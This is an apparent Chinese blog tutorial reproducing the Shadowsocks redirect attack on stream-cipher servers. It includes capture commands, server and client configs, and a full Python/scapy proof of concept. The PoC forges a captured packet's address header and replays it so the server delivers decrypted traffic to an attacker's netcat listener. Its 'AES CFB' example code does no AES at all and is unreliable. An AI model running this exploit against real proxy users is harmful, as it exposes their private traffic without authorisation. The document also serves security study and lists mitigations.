Shadowsock重定向攻击学习与复现

前言

什么是Shadowsocks

也称小飞机,shadowsocks和shadowsocksR是两款软件,shadowsocksR是基于早期的shadowsocks开发的

Shadowsocks(简称SS)是一种基于Socks5代理方式的加密传输协议,也可以指实现这个协议的各种开发包。目前包使用PythonCC++C#Go语言Rust等编程语言开发,大部分主要实现(iOS平台的除外)采用Apache许可证GPLMIT许可证等多种自由软件许可协议开放源代码。Shadowsocks分为服务器端和客户端,在使用之前,需要先将服务器端程序部署到服务器上面,然后通过客户端连接并创建本地代理。

在中国大陆,本工具广泛用于突破防火长城(GFW),以浏览被封锁、遮蔽或干扰的内容。2015年8月22日,Shadowsocks原作者Clowwindy称受到了中国警方的压力,宣布停止维护此计划(项目)并移除其个人页面所存储的源代码[8][9]

为了避免关键词过滤,网民会根据谐音将ShadowsocksR称为“酸酸乳”[注 1](SSR),将Shadowsocks称为“酸酸”(SS)。另外,因为Shadowsocks(R)的图标均为纸飞机,所以专门提供Shadowsocks(R)或类似服务(如V2RayTROJAN)的网站则就被称为了“机场”。

From wikipedia.org,Shadowsocks

Shadowsocks

360截图18720119104445

360截图16581114122102151

ShadowsocksR

360截图18430702878493

Clash中也支持Shadowsocks

QQ图片20230318192920


Shadowsock重定向攻击利用条件

  • 能抓取到shadowsocks使用者的报文(此条件较易达到,例如在交换机上使用端口克隆;在路由器上对接口抓包,利用tcpdump)

    1
    2
    3
    #openwrt安装tcpdump
    opkg install libpcap
    opkg install tcpdump

    360截图17860604203517

  • shadowsocks使用者使用了shadowsocks-py, shadowsocoks-go, shadowsocoks-nodejs,并且加密方式为 stream 加密(aes-128-cfb、aes-256-cfb等)

  • 攻击者需要知道加密方式


什么是Shadowsock重定向攻击

以下是个人理解,若发现有不正确之处欢迎提出,我将修正

概括

攻击者通过修改数据包中的接收者的地址,模拟正常用户发送数据后服务器将解密的数据发送到被修改的接收者的地址,

攻击者无需知晓ss服务器的密码

完整描述

攻击者首先抓取到了ss使用者的上网的数据报文,然后监听一个tcp地址和端口。

攻击者提取ss使用者的上网的数据报文其中的ss客户端接收的数据,

伪造修改数据中标识的发送者地址为攻击者监听的tcp地址和端口,将数据再次发送给ss服务器。

ss服务器会对这些数据进行解密,然后误以为攻击者监听的tcp地址和端口是实际用户的地址并解密之后发送过去,

攻击者在监听一个tcp socket中获取到了解密的数据,完成一次攻击。


正文

加密原理分析

AES CFB模式加密

360截图17720222776771

以下是python3的加密程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import struct
import binascii
import os

def pad(plaintext):
padding_length = 16 - len(plaintext) % 16
padding = bytes([padding_length] * padding_length)
return plaintext + padding

def xor_bytes(a, b):
return bytes([x ^ y for x, y in zip(a, b)])

def encrypt(plaintext):
iv = os.urandom(16)
ciphertext = b""
previous_block = iv
for i in range(0, len(plaintext), 16):
block = pad(plaintext[i:i+16])
encrypted_block = xor_bytes(block, previous_block)
previous_block = bytes.fromhex(binascii.hexlify(encrypted_block).decode())[:16]
ciphertext += encrypted_block
return iv + ciphertext


plaintext = b'Hello, world!'
ciphertext = encrypt(plaintext)
print(ciphertext)

AES CFB模式解密

360截图16820123549355

以下是python3的解密程序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import struct
import binascii
import os

def unpad(padded_plaintext):
padding_length = padded_plaintext[-1]
return padded_plaintext[:-padding_length]

def xor_bytes(a, b):
return bytes([x ^ y for x, y in zip(a, b)])


def decrypt(ciphertext):
iv = ciphertext[:16]
plaintext = b""
previous_block = iv
for i in range(16, len(ciphertext), 16):
block = ciphertext[i:i+16]
decrypted_block = xor_bytes(block, previous_block)
plaintext += decrypted_block
previous_block = bytes.fromhex(binascii.hexlify(block).decode())[:16]
return unpad(plaintext)


ciphertext=b'id\xe7\x8b\xf1\x91\x00\xdeW\x0c"\x1a2\xca.8!\x01\x8b\xe7\x9e\xbd \xa98~N~\x13\xc9-;'
decrypted_text = decrypt(ciphertext)
print(decrypted_text)

加解密分析

基于以上的加解密流程,容易得知其中一个重点就是加解密过程中均存在XOR(异或)的过程,

并且解密密文的过程是以加密密文的形式再XOR得到明文,

加密过程XOR(密文分组1,AES(IV))得到密文1,XOR(明文分组2,AES(密文分组1))得到密文2……

解密过程XOR(IV,AES(密文分组1))得到明文1,XOR(密文分组1,AES(密文分组2))得到明文2……解密时要对下一组密文再进行一次加密。

1
2
3
4
1 xor 1=0 ... 0 xor0=0 ... 1 xor 0=1 ... 0 xor 1=1

a ^ b == b ^ a
a ^ b ^ a == b ^ (a ^ a) == b ^ 0 == b

以本文利用实验的AES-256-CFB 为例,首先这是一种流式加密,在加密时不会对密文进行上面流程中的分组,

而是不断使用 XOR(明文,AES(密文))来处理,也就是说:

1
2
3
XOR_KEY = AES(IV)
密文 = AES(IV) XOR 明文 = XOR_KEY XOR 明文
XOR_KEY = XOR_KEY XOR 明文 XOR 明文

这意味着如果我们能知道部分密文和对应明文,可以伪造密文,关系如下

1
2
XOR_KEY = 密文 XOR 明文
伪造的密文 = 假明文 XOR XOR_KEY

ss客户端接收的数据的结构

ss客户端接收从服务端返回的数据的结构如下:

header是0x01(1 byte) + IP(4 byte) + port(2 byte)的形式

1
iv(16 byte) | aes( header(7 byte) | data )

伪造的操作

知道上述知识,我们就可以开始修改向ss服务器发送的数据了。

可知进行http请求时,返回的结果可能有HTTP/1.1,和抓取到的ss返回密文,就拿到了一对明文密文对,就可以算出XOR_KEY

我们可以替换抓取到的加密数据中的客户端地址为一个我们所伪造的地址,然后就可以在上面监听数据了,

ss解密数据后会将数据发往我们监听的地址

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#抓取的客户端接收数据,recv_iv是iv, recv_data是aes( header(7 byte) | data )
recv_iv, recv_data = pkg_recv.payload.load[:16], pkg_recv.payload.load[16:]

#我们已知的明文
predict_data = b"HTTP/1.1"

#得到的XOR_KEY
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])

#我们监听的返回地址
fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))

#我们修改返回地址而伪造的header
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])

#完成修改的加密数据
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]

复现过程

抓取数据报文的工具

可以使用wireshark或tcpdump进行数据报文抓取

wireshark

360截图17100806100417

360截图17860604917688

tcpdump

安装tcpdump

1
sudo apt install tcpdump

从eth0接口抓取所有数据并保存为dump.pcap

1
tcpdump -i eth0  -w dump.pcap

抓取数据报文

启动shadowscks代理-服务端

服务端最好在另外一台机器启动,为了不混淆后面的分析)

安装shadowsocks-python版

1
pip install shadowsocks

以下配置需设置为监听端口,加密模式和密码

1
2
3
4
5
6
7
8
9
10
{
“server”:“0.0.0.0”,
“server_port”: 服务器想监听的端口,
“local_address”:“127.0.0.1”,
“local_port”:1080,
“password”:“密码”,
“timeout”:300,
“method”:“加密模式”,
“fast_open”: false
}

启动shadowsocks-python服务端, 假设上述配置文件保存在/etc/ss/ssserver.config

1
ssserver -c /etc/ss/ssserver.config

启动shadowscks代理-客户端(命令行版)

安装shadowsocks-python版

1
pip install shadowsocks

shadowscks代理-客户端启动后会在本地起一个socks5服务器,

客户端使用浏览器进行上网、玩游戏等只需要通过这个本地的socks5服务器即可,

此时需要记住这个socks5服务器端口(local_port),配置文件如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{
"server": "服务器IP或域名",
"local_address": "127.0.0.1",
"local_port": 1080,
"timeout": 300,
"workers": 1,
"server_port": 服务器监听端口,
"password": "密码",
"method": "加密模式",
"obfs": "plain",
"obfs_param": "",
"protocol": "origin",
"protocol_param": ""
}

启动shadowsocks-python客户端, 假设上述配置文件保存在/etc/ss/ss.config

1
sslocal -c /etc/ss/ss.config

启动shadowscks代理-客户端(GUI版)

打开, 直接设置即可

360截图17860529466262

设置完成后选中设置的代理服务器

360截图182212296454105

代理模式设为全局

360截图1799102091139126

开始抓包

首先记得启动抓包软件的监听

模拟访问(使用curl)

使用curl发送数据(走shadowscks代理)

1
curl --socks5-hostname socks5服务器地址(一般为localhost):socks5服务器端口 http://aaa.lxscloud.top/test.html
1
curl --socks5-hostname localhost:1080 http://aaa.lxscloud.top/test.html
模拟访问(使用浏览器)

访问一个http网站即可,例如

1
http://aaa.lxscloud.top/test.html

360截图18470202295123

查看抓取的数据包

使用wireshark打开抓取的pcap文件

360截图16820124231918

抓取到的加密数据的解析

起一个tcp监听以接收重定向的数据,这里端口设置为8081

1
nc -lvp 8081

360截图162402049512990

使用POC(Python3程序)对抓到的数据向ss服务端进行重放,需要scapy用于解析pcap

1
pip3 install scapy

修改目标主机以接收对ss服务器被重定向攻击后解析的数据

(POC程序修改自ss-redirect-vuln-exp,原程序在win10、python3.8、Scapy2.5.0跑不起来)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
from scapy.packet import Raw
from scapy.all import rdpcap
import socket
import struct
import time

server_ip = "192.168.77.77"
server_port = 8388
target_ip = "192.168.1.194"
target_port = 8081
packets = rdpcap("1.pcapng")


pkg_send, pkg_recv = None, None

for p in packets:
if "Ether / IP / TCP" in p.summary() and p.dport == server_port and pkg_send == None and "PA / Raw" in p.summary():
try:
p.payload.load
pkg_send = p
print(p.summary())
except:
pass

if "Ether / IP / TCP" in p.summary() and p.sport == server_port and pkg_recv == None and "PA / Raw" in p.summary():
try:
p.payload.load
pkg_recv = p
print(p.summary())
except:
pass



print(pkg_send.payload.load, pkg_recv.payload.load)
send_iv, send_data = pkg_send.payload.load[:16], pkg_send.payload.load[16:]
recv_iv, recv_data = pkg_recv.payload.load[:16], pkg_recv.payload.load[16:]


predict_data = b"HTTP/1.1"
predict_xor_key = bytes([(predict_data[i] ^ recv_data[i]) for i in range(len(predict_data))])


fake_header = b'\x01' + socket.inet_pton(socket.AF_INET, target_ip) + bytes(struct.pack('>H', target_port))
fake_header = bytes([(fake_header[i] ^ predict_xor_key[i]) for i in range(len(fake_header))])
fake_data = recv_iv + fake_header + recv_data[len(fake_header):]
print(fake_data.hex())

s = socket.socket()
s.connect((server_ip, server_port))
s.send(fake_data)
print('Tcp sending... ')
time.sleep(3)
s.close()

运行结果

360截图1738040262101102

攻击结果

在监听的8081端口收到消息

360截图173507297811364

对比浏览器数据,可知95%数据都被拿到了

360截图18470202295123

此时服务端存在报错,

经测试好像数据量太大服务端就不发送数据了

360截图16820124093849


如何避免攻击

  • 弃用shadowsocks,换v2ray或Trojan
  • shadowsocks-py, shadowsocoks-go, shadowsocoks-nodejs,换用shadowsocks-libev, go-shadowsocks2 以及使用AEAD加密

End!

此种攻击方式似乎还能解密https,本文未进行尝试

本次实验参考自:

谢谢!


EOF